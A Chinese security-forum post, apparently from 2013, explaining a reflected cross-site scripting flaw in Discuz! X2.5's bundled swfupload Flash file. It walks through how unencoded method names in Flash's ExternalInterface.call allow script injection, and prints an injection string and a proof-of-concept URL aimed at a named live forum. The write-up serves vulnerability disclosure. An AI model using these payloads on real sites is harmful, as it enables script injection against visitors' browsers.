找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1951|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
0 g. }% K: h% S3 {% `  c5 x1 R+ E# d8 p
flash.external.ExternalInterface.call($methodName, $parameter)& B9 z3 Y. B; x+ G* Z
在浏览器中执行的是. V. y; u; ]5 m+ l- z

0 @) u  P8 r' qtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}+ f2 @& b8 t. L- }. y
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
! u# e( s- }  Z6 p) l% l- Q) v0 B) u
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
! @/ `- \  T0 f& b6 ~$ z$methodName = a())}catch(e){alert(/xss/)}//
9 S5 E+ M& c4 j( y结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
0 b7 K) R" C$ e+ i: }. {+ d, A) u/ M
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }( y% T6 a' N5 t! D9 O, N

/ o; Z6 l" ?* }/ ^  I这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )7 m" H) c. ^8 u# _' Y$ b
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
, R, m( D1 e' R) Q" ^+ p+ r5 {( T2 q4 |, Z0 c. \* D

8 ^! t" {9 Y( p- W2 A
9 K: Z& P% J( |0 {3 [漏洞文件:upload\static\image\common\swfupload.swf: {* |8 R8 Z6 k6 V% U: z. @6 p% \7 T
3 ]8 K5 m7 _" N4 q' }9 w
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf" Y/ H  V  p  m% K
9 ^. \4 ?- `* c% p

: ^( z0 J7 o! t8 ?# K漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
# W* s- a( ~9 Z6 _
; A; T- N, {2 |8 P, `- j
8 _: A2 ?8 x: X+ [, R! ]. ^% I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表